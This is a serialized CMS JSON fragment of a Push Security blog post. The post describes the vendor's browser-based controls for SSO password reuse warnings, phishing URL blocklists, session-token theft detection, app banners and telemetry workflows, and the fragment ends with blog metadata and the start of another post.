",{"data":171398,"marks":171399,"value":58494,"nodeType":865},{},[171400],{"type":926},{"data":171402,"marks":171403,"value":171404,"nodeType":865},{},[]," mode to catch any false positives before you enforce the control.",{"data":171406,"content":171407,"nodeType":866},{},[171408],{"data":171409,"marks":171410,"value":171411,"nodeType":865},{},[],"This feature supports the following identity providers: Okta, Microsoft 365, Google Workspace, JumpCloud, Duo, and Ping Identity.",{"data":171413,"content":171414,"nodeType":866},{},[171415],{"data":171416,"marks":171417,"value":171418,"nodeType":865},{},[],"Push will also emit a webhook event when an SSO password is used, and if an employee clicks through the warning screen.",{"data":171420,"content":171424,"nodeType":912},{"target":171421},{"sys":171422},{"id":171423,"type":909,"linkType":910},"25c8M2gWYFST7yYxGEji2s",[],{"data":171426,"content":171427,"nodeType":866},{},[171428,171431,171439],{"data":171429,"marks":171430,"value":171349,"nodeType":865},{},[],{"data":171432,"content":171435,"nodeType":33606},{"target":171433},{"sys":171434},{"id":58195,"type":909,"linkType":910},[171436],{"data":171437,"marks":171438,"value":131656,"nodeType":865},{},[],{"data":171440,"marks":171441,"value":21,"nodeType":865},{},[],{"data":171443,"content":171444,"nodeType":1317},{},[171445],{"data":171446,"marks":171447,"value":156676,"nodeType":865},{},[],{"data":171449,"content":171450,"nodeType":866},{},[171451],{"data":171452,"marks":171453,"value":171454,"nodeType":865},{},[],"When you find malicious sites you want to block, such as when responding to a phishing incident, add them to a blocklist and prevent other employees from accessing those sites. ",{"data":171456,"content":171457,"nodeType":866},{},[171458],{"data":171459,"marks":171460,"value":171461,"nodeType":865},{},[],"URL blocking can be used in tandem with Push’s anti-phishing controls, so that as you discover malicious sites, you can block them from a central blocklist. This offers a kind of herd immunity where you can block other users from visiting a malicious site as soon as you have a single incident.",{"data":171463,"content":171464,"nodeType":866},{},[171465],{"data":171466,"marks":171467,"value":171468,"nodeType":865},{},[],"You can programmatically manage the blocklist using the Push REST API or sync to other threat intelligence sources you consume.",{"data":171470,"content":171474,"nodeType":912},{"target":171471},{"sys":171472},{"id":171473,"type":909,"linkType":910},"3m00cFiUDAnddsOBOpkeiZ",[],{"data":171476,"content":171477,"nodeType":866},{},[171478,171481,171490],{"data":171479,"marks":171480,"value":171349,"nodeType":865},{},[],{"data":171482,"content":171486,"nodeType":33606},{"target":171483},{"sys":171484},{"id":171485,"type":909,"linkType":910},"P0coHgQAdRL0YTu4Rwd4z",[171487],{"data":171488,"marks":171489,"value":156676,"nodeType":865},{},[],{"data":171491,"marks":171492,"value":21,"nodeType":865},{},[],{"data":171494,"content":171495,"nodeType":1317},{},[171496],{"data":171497,"marks":171498,"value":171499,"nodeType":865},{},[],"Session token theft detection",{"data":171501,"content":171502,"nodeType":866},{},[171503],{"data":171504,"marks":171505,"value":171506,"nodeType":865},{},[],"Inject a unique marker provided by the Push browser agent into the User Agent string of sessions that occur in browsers enrolled in Push. ",{"data":171508,"content":171509,"nodeType":866},{},[171510],{"data":171511,"marks":171512,"value":171513,"nodeType":865},{},[],"By analyzing logs from your IdP, you can identify activity from the same session that both has the Push marker and that lacks the marker. This can only ever happen when a session is extracted from a browser and maliciously imported into a different browser.",{"data":171515,"content":171516,"nodeType":866},{},[171517],{"data":171518,"marks":171519,"value":171520,"nodeType":865},{},[],"This is a high-fidelity signal that a session token has been stolen and is being used.",{"data":171522,"content":171526,"nodeType":912},{"target":171523},{"sys":171524},{"id":171525,"type":909,"linkType":910},"43rk3TCqN269Vr2YWT4llP",[],{"data":171528,"content":171529,"nodeType":866},{},[171530,171533,171541],{"data":171531,"marks":171532,"value":171349,"nodeType":865},{},[],{"data":171534,"content":171537,"nodeType":33606},{"target":171535},{"sys":171536},{"id":126746,"type":909,"linkType":910},[171538],{"data":171539,"marks":171540,"value":126752,"nodeType":865},{},[],{"data":171542,"marks":171543,"value":21,"nodeType":865},{},[],{"data":171545,"content":171546,"nodeType":1317},{},[171547],{"data":171548,"marks":171549,"value":58424,"nodeType":865},{},[],{"data":171551,"content":171552,"nodeType":866},{},[171553],{"data":171554,"marks":171555,"value":171556,"nodeType":865},{},[],"Add guardrails to employees’ use of SaaS apps with in-browser app banner messages you customize with your own text. You can require users to acknowledge having read a message before they can access an app, or even require them to submit a reason for using an app before they can log in.",{"data":171558,"content":171562,"nodeType":912},{"target":171559},{"sys":171560},{"id":171561,"type":909,"linkType":910},"5nEKTBz6mauHI5mg8jB4ea",[],{"data":171564,"content":171565,"nodeType":866},{},[171566,171569,171577],{"data":171567,"marks":171568,"value":171349,"nodeType":865},{},[],{"data":171570,"content":171573,"nodeType":33606},{"target":171571},{"sys":171572},{"id":58256,"type":909,"linkType":910},[171574],{"data":171575,"marks":171576,"value":132450,"nodeType":865},{},[],{"data":171578,"marks":171579,"value":21,"nodeType":865},{},[],{"data":171581,"content":171582,"nodeType":981},{},[171583],{"data":171584,"marks":171585,"value":171586,"nodeType":865},{},[],"Choose your own adventure",{"data":171588,"content":171589,"nodeType":866},{},[171590],{"data":171591,"marks":171592,"value":171593,"nodeType":865},{},[],"Want to do something creative? We've got you covered. Push provides a wealth of raw telemetry via the Push REST API and webhook events. Use this data to build both proactive and reactive security operations workflows, or add missing context to other sources, such as your IdP, application, or endpoint logs.",{"data":171595,"content":171596,"nodeType":866},{},[171597],{"data":171598,"marks":171599,"value":171600,"nodeType":865},{},[],"You can use this browser telemetry to:",{"data":171602,"content":171603,"nodeType":1616},{},[171604,171617,171630],{"data":171605,"content":171606,"nodeType":1570},{},[171607],{"data":171608,"content":171609,"nodeType":866},{},[171610,171614],{"data":171611,"marks":171612,"value":156987,"nodeType":865},{},[171613],{"type":926},{"data":171615,"marks":171616,"value":156991,"nodeType":865},{},[],{"data":171618,"content":171619,"nodeType":1570},{},[171620],{"data":171621,"content":171622,"nodeType":866},{},[171623,171627],{"data":171624,"marks":171625,"value":157002,"nodeType":865},{},[171626],{"type":926},{"data":171628,"marks":171629,"value":157006,"nodeType":865},{},[],{"data":171631,"content":171632,"nodeType":1570},{},[171633],{"data":171634,"content":171635,"nodeType":866},{},[171636,171640],{"data":171637,"marks":171638,"value":157017,"nodeType":865},{},[171639],{"type":926},{"data":171641,"marks":171642,"value":157021,"nodeType":865},{},[],{"data":171644,"content":171645,"nodeType":866},{},[171646],{"data":171647,"marks":171648,"value":171649,"nodeType":865},{},[],"In the “make my life easier” category, you can also use Push telemetry to:",{"data":171651,"content":171652,"nodeType":1616},{},[171653,171671,171690,171705],{"data":171654,"content":171655,"nodeType":1570},{},[171656],{"data":171657,"content":171658,"nodeType":866},{},[171659,171663,171668],{"data":171660,"marks":171661,"value":171662,"nodeType":865},{},[],"Automate a workflow ",{"data":171664,"marks":171665,"value":171667,"nodeType":865},{},[171666],{"type":926},"showing you all the accounts and apps used by an offboarded employee",{"data":171669,"marks":171670,"value":157055,"nodeType":865},{},[],{"data":171672,"content":171673,"nodeType":1570},{},[171674],{"data":171675,"content":171676,"nodeType":866},{},[171677,171681,171686],{"data":171678,"marks":171679,"value":171680,"nodeType":865},{},[],"Automate a workflow to",{"data":171682,"marks":171683,"value":171685,"nodeType":865},{},[171684],{"type":926}," revoke licenses on SaaS after a period of inactivity",{"data":171687,"marks":171688,"value":171689,"nodeType":865},{},[],", saving money.",{"data":171691,"content":171692,"nodeType":1570},{},[171693],{"data":171694,"content":171695,"nodeType":866},{},[171696,171701],{"data":171697,"marks":171698,"value":171700,"nodeType":865},{},[171699],{"type":926},"Build an approved apps list in your company wiki",{"data":171702,"marks":171703,"value":171704,"nodeType":865},{},[],", synced from Push’s source of truth.",{"data":171706,"content":171707,"nodeType":1570},{},[171708],{"data":171709,"content":171710,"nodeType":866},{},[171711,171716],{"data":171712,"marks":171713,"value":171715,"nodeType":865},{},[171714],{"type":926},"Force-reset an IdP password if Push finds a compromised password",{"data":171717,"marks":171718,"value":171719,"nodeType":865},{},[]," on an employee account.",{"data":171721,"content":171722,"nodeType":866},{},[171723,171727,171731],{"data":171724,"marks":171725,"value":171726,"nodeType":865},{},[],"To help you visualize and plan how you will use this telemetry, Push also provides an ",{"data":171728,"marks":171729,"value":58511,"nodeType":865},{},[171730],{"type":926},{"data":171732,"marks":171733,"value":171734,"nodeType":865},{},[]," page in the admin console with a rolling 7-day snapshot of all the events in your environment.",{"data":171736,"content":171740,"nodeType":912},{"target":171737},{"sys":171738},{"id":171739,"type":909,"linkType":910},"2a3bJ5sN8dJ0c1kQtZiag7",[],{"data":171742,"content":171743,"nodeType":866},{},[171744],{"data":171745,"marks":171746,"value":171747,"nodeType":865},{},[],"The Events page can help you see real-world examples, understand the attributes of each event, and gauge event volume before you ingest data into a SIEM or other platform.",{"data":171749,"content":171750,"nodeType":981},{},[171751],{"data":171752,"marks":171753,"value":171754,"nodeType":865},{},[],"What if you don’t have a SIEM?",{"data":171756,"content":171757,"nodeType":866},{},[171758],{"data":171759,"marks":171760,"value":171761,"nodeType":865},{},[],"While you’d need a SIEM for writing detections and performing log correlations, you can still get a lot of value out of Push telemetry if you don’t have one.",{"data":171763,"content":171764,"nodeType":866},{},[171765],{"data":171766,"marks":171767,"value":171768,"nodeType":865},{},[],"Use Push’s webhook events to send alerts directly to your Slack, Teams, or other chat platform, or build workflows that hook into your ticketing system or SOAR platform.",{"data":171770,"content":171771,"nodeType":866},{},[171772,171776,171783],{"data":171773,"marks":171774,"value":171775,"nodeType":865},{},[],"Review our ",{"data":171777,"content":171778,"nodeType":889},{"uri":126491},[171779],{"data":171780,"marks":171781,"value":171782,"nodeType":865},{},[],"webhooks documentation",{"data":171784,"marks":171785,"value":171786,"nodeType":865},{},[]," for a list of events.",{"data":171788,"content":171789,"nodeType":981},{},[171790],{"data":171791,"marks":171792,"value":113824,"nodeType":865},{},[],{"data":171794,"content":171795,"nodeType":866},{},[171796,171800,171806],{"data":171797,"marks":171798,"value":171799,"nodeType":865},{},[],"If you want to see Push in action, ",{"data":171801,"content":171802,"nodeType":889},{"uri":126947},[171803],{"data":171804,"marks":171805,"value":14066,"nodeType":865},{},[],{"data":171807,"marks":171808,"value":171809,"nodeType":865},{},[],". We’ll be happy to show you these features, along with how we discover all the apps your employees are using — even the ones not behind SSO.","Introducing set-and-forget controls that stop real-world identity attacks","Enable detections and interventions in the browser using Push’s new security controls.","2024-07-02T00:00:00.000Z","introducing-set-and-forget-controls-that-stop-real-world-identity-attacks",{"items":171815},[171816,171818],{"sys":171817,"name":126984},{"id":126983},{"sys":171819,"name":342},{"id":4642},{"items":171821},[171822],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":171823},{"url":6503},{"__typename":1429,"sys":171825,"content":171826,"title":105612,"synopsis":105613,"hashTags":59,"publishedDate":105614,"slug":105615,"tagsCollection":172232,"authorsCollection":172238},{"id":105142},{"json":171827},{"data":171828,"content":171829,"nodeType":1382},{},[171830,171837,171843,171849,171854,171860,171865,171871,171877,171880,171887,171893,171899,171920,171926,171929,171936,171949,171954,171960,171965,171971,171977,171980,171987,172003,172008,172014,172019,172022,172029,172045,172050,172056,172061,172077,172082,172087,172090,172097,172103,172109,172114,172117,172124,172130,172136,172139,172146,172152,172158,172163,172169,172199,172204,172211,172217],{"data":171831,"content":171832,"nodeType":981},{},[171833],{"data":171834,"marks":171835,"value":79610,"nodeType":865},{},[171836],{"type":926},{"data":171838,"content":171839,"nodeType":866},{},[171840],{"data":171841,"marks":171842,"value":105160,"nodeType":865},{},[],{"data":171844,"content":171845,"nodeType":866},{},[171846],{"data":171847,"marks":171848,"value":105167,"nodeType":865},{},[],{"data":171850,"content":171853,"nodeType":912},{"target":171851},{"sys":171852},{"id":105172,"type":909,"linkType":910},[],{"data":171855,"content":171856,"nodeType":866},{},[171857],{"data":171858,"marks":171859,"value":105180,"nodeType":865},{},[],{"data":171861,"content":171864,"nodeType":912},{"target":171862},{"sys":171863},{"id":105185,"type":909,"linkType":910},[],{"data":171866,"content":171867,"nodeType":866},{},[171868],{"data":171869,"marks":171870,"value":105193,"nodeType":865},{},[],{"data":171872,"content":171873,"nodeType":866},{},[171874],{"data":171875,"marks":171876,"value":105200,"nodeType":865},{},[],{"data":171878,"content":171879,"nodeType":972},{},[],{"data":171881,"content":171882,"nodeType":981},{},[171883],{"data":171884,"marks":171885,"value":105211,"nodeType":865},{},[171886],{"type":926},{"data":171888,"content":171889,"nodeType":866},{},[171890],{"data":171891,"marks":171892,"value":105218,"nodeType":865},{},[],{"data":171894,"content":171895,"nodeType":866},{},[171896],{"data":171897,"marks":171898,"value":105225,"nodeType":865},{},[],{"data":171900,"content":171901,"nodeType":1616},{},[171902,171911],{"data":171903,"content":171904,"nodeType":1570},{},[171905],{"data":171906,"content":171907,"nodeType":866},{},[171908],{"data":171909,"marks":171910,"value":105238,"nodeType":865},{},[],{"data":171912,"content":171913,"nodeType":1570},{},[171914],{"data":171915,"content":171916,"nodeType":866},{},[171917],{"data":171918,"marks":171919,"value":105248,"nodeType":865},{},[],{"data":171921,"content":171922,"nodeType":866},{},[171923],{"data":171924,"marks":171925,"value":105255,"nodeType":865},{},[],{"data":171927,"content":171928,"nodeType":972},{},[],{"data":171930,"content":171931,"nodeType":981},{},[171932],{"data":171933,"marks":171934,"value":105266,"nodeType":865},{},[171935],{"type":926},{"data":171937,"content":171938,"nodeType":866},{},[171939,171942,171946],{"data":171940,"marks":171941,"value":105273,"nodeType":865},{},[],{"data":171943,"marks":171944,"value":441,"nodeType":865},{},[171945],{"type":926},{"data":171947,"marks":171948,"value":105281,"nodeType":865},{},[],{"data":171950,"content":171953,"nodeType":912},{"target":171951},{"sys":171952},{"id":105286,"type":909,"linkType":910},[],{"data":171955,"content":171956,"nodeType":866},{},[171957],{"data":171958,"marks":171959,"value":105294,"nodeType":865},{},[],{"data":171961,"content":171964,"nodeType":912},{"target":171962},{"sys":171963},{"id":105299,"type":909,"linkType":910},[],{"data":171966,"content":171967,"nodeType":866},{},[171968],{"data":171969,"marks":171970,"value":105307,"nodeType":865},{},[],{"data":171972,"content":171973,"nodeType":866},{},[171974],{"data":171975,"marks":171976,"value":105314,"nodeType":865},{},[],{"data":171978,"content":171979,"nodeType":972},{},[],{"data":171981,"content":171982,"nodeType":1317},{},[171983],{"data":171984,"marks":171985,"value":105325,"nodeType":865},{},[171986],{"type":926},{"data":171988,"content":171989,"nodeType":866},{},[171990,171993,172000],{"data":171991,"marks":171992,"value":105332,"nodeType":865},{},[],{"data":171994,"content":171995,"nodeType":889},{"uri":104005},[171996],{"data":171997,"marks":171998,"value":105340,"nodeType":865},{},[171999],{"type":943},{"data":172001,"marks":172002,"value":105344,"nodeType":865},{},[],{"data":172004,"content":172007,"nodeType":912},{"target":172005},{"sys":172006},{"id":105349,"type":909,"linkType":910},[],{"data":172009,"content":172010,"nodeType":866},{},[172011],{"data":172012,"marks":172013,"value":105357,"nodeType":865},{},[],{"data":172015,"content":172018,"nodeType":912},{"target":172016},{"sys":172017},{"id":105362,"type":909,"linkType":910},[],{"data":172020,"content":172021,"nodeType":972},{},[],{"data":172023,"content":172024,"nodeType":981},{},[172025],{"data":172026,"marks":172027,"value":105374,"nodeType":865},{},[172028],{"type":926},{"data":172030,"content":172031,"nodeType":866},{},[172032,172035,172042],{"data":172033,"marks":172034,"value":105381,"nodeType":865},{},[],{"data":172036,"content":172037,"nodeType":889},{"uri":105384},[172038],{"data":172039,"marks":172040,"value":105390,"nodeType":865},{},[172041],{"type":943},{"data":172043,"marks":172044,"value":105394,"nodeType":865},{},[],{"data":172046,"content":172049,"nodeType":912},{"target":172047},{"sys":172048},{"id":105399,"type":909,"linkType":910},[],{"data":172051,"content":172052,"nodeType":866},{},[172053],{"data":172054,"marks":172055,"value":105407,"nodeType":865},{},[],{"data":172057,"content":172060,"nodeType":912},{"target":172058},{"sys":172059},{"id":105412,"type":909,"linkType":910},[],{"data":172062,"content":172063,"nodeType":866},{},[172064,172067,172074],{"data":172065,"marks":172066,"value":105420,"nodeType":865},{},[],{"data":172068,"content":172069,"nodeType":889},{"uri":105423},[172070],{"data":172071,"marks":172072,"value":105429,"nodeType":865},{},[172073],{"type":943},{"data":172075,"marks":172076,"value":105433,"nodeType":865},{},[],{"data":172078,"content":172081,"nodeType":912},{"target":172079},{"sys":172080},{"id":105438,"type":909,"linkType":910},[],{"data":172083,"content":172086,"nodeType":912},{"target":172084},{"sys":172085},{"id":105444,"type":909,"linkType":910},[],{"data":172088,"content":172089,"nodeType":972},{},[],{"data":172091,"content":172092,"nodeType":981},{},[172093],{"data":172094,"marks":172095,"value":105456,"nodeType":865},{},[172096],{"type":926},{"data":172098,"content":172099,"nodeType":866},{},[172100],{"data":172101,"marks":172102,"value":105463,"nodeType":865},{},[],{"data":172104,"content":172105,"nodeType":866},{},[172106],{"data":172107,"marks":172108,"value":105470,"nodeType":865},{},[],{"data":172110,"content":172113,"nodeType":912},{"target":172111},{"sys":172112},{"id":105475,"type":909,"linkType":910},[],{"data":172115,"content":172116,"nodeType":972},{},[],{"data":172118,"content":172119,"nodeType":981},{},[172120],{"data":172121,"marks":172122,"value":105487,"nodeType":865},{},[172123],{"type":926},{"data":172125,"content":172126,"nodeType":866},{},[172127],{"data":172128,"marks":172129,"value":105494,"nodeType":865},{},[],{"data":172131,"content":172132,"nodeType":866},{},[172133],{"data":172134,"marks":172135,"value":105501,"nodeType":865},{},[],{"data":172137,"content":172138,"nodeType":972},{},[],{"data":172140,"content":172141,"nodeType":981},{},[172142],{"data":172143,"marks":172144,"value":105512,"nodeType":865},{},[172145],{"type":926},{"data":172147,"content":172148,"nodeType":866},{},[172149],{"data":172150,"marks":172151,"value":105519,"nodeType":865},{},[],{"data":172153,"content":172154,"nodeType":866},{},[172155],{"data":172156,"marks":172157,"value":105526,"nodeType":865},{},[],{"data":172159,"content":172162,"nodeType":912},{"target":172160},{"sys":172161},{"id":105531,"type":909,"linkType":910},[],{"data":172164,"content":172165,"nodeType":866},{},[172166],{"data":172167,"marks":172168,"value":105539,"nodeType":865},{},[],{"data":172170,"content":172171,"nodeType":1616},{},[172172,172181,172190],{"data":172173,"content":172174,"nodeType":1570},{},[172175],{"data":172176,"content":172177,"nodeType":866},{},[172178],{"data":172179,"marks":172180,"value":105552,"nodeType":865},{},[],{"data":172182,"content":172183,"nodeType":1570},{},[172184],{"data":172185,"content":172186,"nodeType":866},{},[172187],{"data":172188,"marks":172189,"value":105562,"nodeType":865},{},[],{"data":172191,"content":172192,"nodeType":1570},{},[172193],{"data":172194,"content":172195,"nodeType":866},{},[172196],{"data":172197,"marks":172198,"value":105572,"nodeType":865},{},[],{"data":172200,"content":172203,"nodeType":912},{"target":172201},{"sys":172202},{"id":105577,"type":909,"linkType":910},[],{"data":172205,"content":172206,"nodeType":1317},{},[172207],{"data":172208,"marks":172209,"value":105586,"nodeType":865},{},[172210],{"type":926},{"data":172212,"content":172213,"nodeType":866},{},[172214],{"data":172215,"marks":172216,"value":105593,"nodeType":865},{},[],{"data":172218,"content":172219,"nodeType":866},{},[172220,172223,172229],{"data":172221,"marks":172222,"value":105600,"nodeType":865},{},[],{"data":172224,"content":172225,"nodeType":889},{"uri":1372},[172226],{"data":172227,"marks":172228,"value":105607,"nodeType":865},{},[],{"data":172230,"marks":172231,"value":105611,"nodeType":865},{},[],{"items":172233},[172234,172236],{"sys":172235,"name":7796},{"id":7795},{"sys":172237,"name":342},{"id":4642},{"items":172239},[172240],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":172241},{"url":11425},"blog/detecting-and-blocking-phishing-attacks-in-the-browser",{"json":172244},{"data":172245,"content":172246,"nodeType":1382},{},[172247,172254,172261],{"data":172248,"content":172249,"nodeType":866},{},[172250],{"data":172251,"marks":172252,"value":172253,"nodeType":865},{},[],"It takes less than two minutes to explain how Push detects and blocks phishing attempts in the browser. ",{"data":172255,"content":172256,"nodeType":866},{},[172257],{"data":172258,"marks":172259,"value":172260,"nodeType":865},{},[],"Do you know what also takes less than two minutes? ",{"data":172262,"content":172263,"nodeType":866},{},[172264],{"data":172265,"marks":172266,"value":172267,"nodeType":865},{},[],"Actually enabling Push’s phishing detection and blocking controls for all your employees! ",{"id":125713,"publishedAt":172269},"2026-08-12T11:54:57.716Z",{"items":172271},[172272,172274],{"sys":172273,"name":7796},{"id":7795},{"sys":172275,"name":342},{"id":4642},{"items":172277},[172278,172280,172282,172284,172286,172288,172290,172292,172294,172296,172298,172300],{"sys":172279,"name":519,"slug":520,"tier":31},{"id":516},{"sys":172281,"name":279,"slug":280,"tier":31},{"id":276},{"sys":172283,"name":297,"slug":298,"tier":31},{"id":294},{"sys":172285,"name":342,"slug":343,"tier":31},{"id":339},{"sys":172287,"name":261,"slug":262,"tier":45},{"id":258},{"sys":172289,"name":324,"slug":325,"tier":45},{"id":321},{"sys":172291,"name":571,"slug":572,"tier":45},{"id":568},{"sys":172293,"name":502,"slug":503,"tier":45},{"id":499},{"sys":172295,"name":351,"slug":352,"tier":45},{"id":348},{"sys":172297,"name":624,"slug":625,"tier":45},{"id":621},{"sys":172299,"name":475,"slug":476,"tier":45},{"id":472},{"sys":172301,"name":493,"slug":494,"tier":45},{"id":490},"BWqTngm_515-EU1cnOXBI788ETG62GxT_LtpSxu_VlE",{"id":172304,"title":170104,"authorsCollection":172305,"content":172310,"extension":228,"faqItemsCollection":173239,"faqTitle":59,"featured":6,"hashTags":59,"meta":173241,"metaTitle":173242,"ogImage":59,"postType":42959,"publishedDate":170106,"relatedBlogPostsCollection":173243,"slug":170107,"stem":175558,"subtitle":59,"summary":175559,"synopsis":170105,"sys":175570,"tagsCollection":175572,"topicsCollection":175578,"__hash__":175622},"blog/blog/the-saas-attack-matrix-one-year-on.json",{"items":172306},[172307],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":172308,"profilePicture":172309},[30152],{"url":7804},{"json":172311,"links":173230},{"data":172312,"content":172313,"nodeType":1382},{},[172314,172330,172336,172342,172348,172354,172357,172363,172438,172444,172450,172456,172469,172485,172491,172494,172500,172506,172512,172528,172548,172554,172560,172586,172612,172618,172634,172640,172646,172652,172659,172665,172691,172697,172713,172739,172745,172761,172767,172773,172789,172795,172801,172804,172810,172816,172822,172825,172831,172837,172843,172859,172975,172981,172984,172990,172996,173087,173093,173099,173102,173108,173114,173160,173166,173172,173175,173181,173187,173203,173219,173224],{"data":172315,"content":172316,"nodeType":866},{},[172317,172320,172327],{"data":172318,"marks":172319,"value":169069,"nodeType":865},{},[],{"data":172321,"content":172322,"nodeType":889},{"uri":13171},[172323],{"data":172324,"marks":172325,"value":12528,"nodeType":865},{},[172326],{"type":943},{"data":172328,"marks":172329,"value":169080,"nodeType":865},{},[],{"data":172331,"content":172332,"nodeType":866},{},[172333],{"data":172334,"marks":172335,"value":169087,"nodeType":865},{},[],{"data":172337,"content":172338,"nodeType":866},{},[172339],{"data":172340,"marks":172341,"value":169094,"nodeType":865},{},[],{"data":172343,"content":172344,"nodeType":866},{},[172345],{"data":172346,"marks":172347,"value":169101,"nodeType":865},{},[],{"data":172349,"content":172350,"nodeType":866},{},[172351],{"data":172352,"marks":172353,"value":169108,"nodeType":865},{},[],{"data":172355,"content":172356,"nodeType":972},{},[],{"data":172358,"content":172359,"nodeType":981},{},[172360],{"data":172361,"marks":172362,"value":169118,"nodeType":865},{},[],{"data":172364,"content":172365,"nodeType":866},{},[172366,172369,172376,172379,172386,172389,172396,172399,172406,172409,172416,172419,172426,172429,172435],{"data":172367,"marks":172368,"value":169125,"nodeType":865},{},[],{"data":172370,"content":172371,"nodeType":889},{"uri":53259},[172372],{"data":172373,"marks":172374,"value":6715,"nodeType":865},{},[172375],{"type":943},{"data":172377,"marks":172378,"value":2717,"nodeType":865},{},[],{"data":172380,"content":172381,"nodeType":889},{"uri":147552},[172382],{"data":172383,"marks":172384,"value":169143,"nodeType":865},{},[172385],{"type":943},{"data":172387,"marks":172388,"value":2717,"nodeType":865},{},[],{"data":172390,"content":172391,"nodeType":889},{"uri":147580},[172392],{"data":172393,"marks":172394,"value":162798,"nodeType":865},{},[172395],{"type":943},{"data":172397,"marks":172398,"value":2717,"nodeType":865},{},[],{"data":172400,"content":172401,"nodeType":889},{"uri":103508},[172402],{"data":172403,"marks":172404,"value":155187,"nodeType":865},{},[172405],{"type":943},{"data":172407,"marks":172408,"value":3476,"nodeType":865},{},[],{"data":172410,"content":172411,"nodeType":889},{"uri":169169},[172412],{"data":172413,"marks":172414,"value":169175,"nodeType":865},{},[172415],{"type":943},{"data":172417,"marks":172418,"value":169179,"nodeType":865},{},[],{"data":172420,"content":172421,"nodeType":889},{"uri":169182},[172422],{"data":172423,"marks":172424,"value":169188,"nodeType":865},{},[172425],{"type":943},{"data":172427,"marks":172428,"value":4988,"nodeType":865},{},[],{"data":172430,"content":172431,"nodeType":889},{"uri":169194},[172432],{"data":172433,"marks":172434,"value":169199,"nodeType":865},{},[],{"data":172436,"marks":172437,"value":1615,"nodeType":865},{},[],{"data":172439,"content":172440,"nodeType":866},{},[172441],{"data":172442,"marks":172443,"value":169209,"nodeType":865},{},[],{"data":172445,"content":172446,"nodeType":1317},{},[172447],{"data":172448,"marks":172449,"value":169216,"nodeType":865},{},[],{"data":172451,"content":172452,"nodeType":866},{},[172453],{"data":172454,"marks":172455,"value":169223,"nodeType":865},{},[],{"data":172457,"content":172458,"nodeType":866},{},[172459,172462,172466],{"data":172460,"marks":172461,"value":169230,"nodeType":865},{},[],{"data":172463,"marks":172464,"value":169235,"nodeType":865},{},[172465],{"type":926},{"data":172467,"marks":172468,"value":6719,"nodeType":865},{},[],{"data":172470,"content":172471,"nodeType":866},{},[172472,172475,172482],{"data":172473,"marks":172474,"value":169245,"nodeType":865},{},[],{"data":172476,"content":172477,"nodeType":889},{"uri":145802},[172478],{"data":172479,"marks":172480,"value":169253,"nodeType":865},{},[172481],{"type":943},{"data":172483,"marks":172484,"value":169257,"nodeType":865},{},[],{"data":172486,"content":172487,"nodeType":866},{},[172488],{"data":172489,"marks":172490,"value":169264,"nodeType":865},{},[],{"data":172492,"content":172493,"nodeType":972},{},[],{"data":172495,"content":172496,"nodeType":981},{},[172497],{"data":172498,"marks":172499,"value":169274,"nodeType":865},{},[],{"data":172501,"content":172502,"nodeType":866},{},[172503],{"data":172504,"marks":172505,"value":169281,"nodeType":865},{},[],{"data":172507,"content":172508,"nodeType":1317},{},[172509],{"data":172510,"marks":172511,"value":395,"nodeType":865},{},[],{"data":172513,"content":172514,"nodeType":866},{},[172515,172518,172525],{"data":172516,"marks":172517,"value":21,"nodeType":865},{},[],{"data":172519,"content":172520,"nodeType":889},{"uri":53259},[172521],{"data":172522,"marks":172523,"value":395,"nodeType":865},{},[172524],{"type":943},{"data":172526,"marks":172527,"value":169304,"nodeType":865},{},[],{"data":172529,"content":172530,"nodeType":866},{},[172531,172534,172538,172541,172545],{"data":172532,"marks":172533,"value":169311,"nodeType":865},{},[],{"data":172535,"marks":172536,"value":169316,"nodeType":865},{},[172537],{"type":926},{"data":172539,"marks":172540,"value":4988,"nodeType":865},{},[],{"data":172542,"marks":172543,"value":169324,"nodeType":865},{},[172544],{"type":926},{"data":172546,"marks":172547,"value":169328,"nodeType":865},{},[],{"data":172549,"content":172550,"nodeType":866},{},[172551],{"data":172552,"marks":172553,"value":169335,"nodeType":865},{},[],{"data":172555,"content":172556,"nodeType":866},{},[172557],{"data":172558,"marks":172559,"value":169342,"nodeType":865},{},[],{"data":172561,"content":172562,"nodeType":866},{},[172563,172566,172573,172576,172583],{"data":172564,"marks":172565,"value":169349,"nodeType":865},{},[],{"data":172567,"content":172568,"nodeType":889},{"uri":13054},[172569],{"data":172570,"marks":172571,"value":169357,"nodeType":865},{},[172572],{"type":943},{"data":172574,"marks":172575,"value":169361,"nodeType":865},{},[],{"data":172577,"content":172578,"nodeType":889},{"uri":169364},[172579],{"data":172580,"marks":172581,"value":169370,"nodeType":865},{},[172582],{"type":943},{"data":172584,"marks":172585,"value":169374,"nodeType":865},{},[],{"data":172587,"content":172588,"nodeType":866},{},[172589,172592,172599,172602,172609],{"data":172590,"marks":172591,"value":169381,"nodeType":865},{},[],{"data":172593,"content":172594,"nodeType":889},{"uri":105882},[172595],{"data":172596,"marks":172597,"value":169389,"nodeType":865},{},[172598],{"type":943},{"data":172600,"marks":172601,"value":169393,"nodeType":865},{},[],{"data":172603,"content":172604,"nodeType":889},{"uri":101210},[172605],{"data":172606,"marks":172607,"value":169401,"nodeType":865},{},[172608],{"type":943},{"data":172610,"marks":172611,"value":169405,"nodeType":865},{},[],{"data":172613,"content":172614,"nodeType":1317},{},[172615],{"data":172616,"marks":172617,"value":169412,"nodeType":865},{},[],{"data":172619,"content":172620,"nodeType":866},{},[172621,172624,172631],{"data":172622,"marks":172623,"value":21,"nodeType":865},{},[],{"data":172625,"content":172626,"nodeType":889},{"uri":147552},[172627],{"data":172628,"marks":172629,"value":169426,"nodeType":865},{},[172630],{"type":943},{"data":172632,"marks":172633,"value":169430,"nodeType":865},{},[],{"data":172635,"content":172636,"nodeType":866},{},[172637],{"data":172638,"marks":172639,"value":169437,"nodeType":865},{},[],{"data":172641,"content":172642,"nodeType":866},{},[172643],{"data":172644,"marks":172645,"value":169444,"nodeType":865},{},[],{"data":172647,"content":172648,"nodeType":866},{},[172649],{"data":172650,"marks":172651,"value":169451,"nodeType":865},{},[],{"data":172653,"content":172654,"nodeType":866},{},[172655],{"data":172656,"marks":172657,"value":169459,"nodeType":865},{},[172658],{"type":926},{"data":172660,"content":172661,"nodeType":866},{},[172662],{"data":172663,"marks":172664,"value":169466,"nodeType":865},{},[],{"data":172666,"content":172667,"nodeType":866},{},[172668,172671,172678,172681,172688],{"data":172669,"marks":172670,"value":169473,"nodeType":865},{},[],{"data":172672,"content":172673,"nodeType":889},{"uri":54386},[172674],{"data":172675,"marks":172676,"value":169481,"no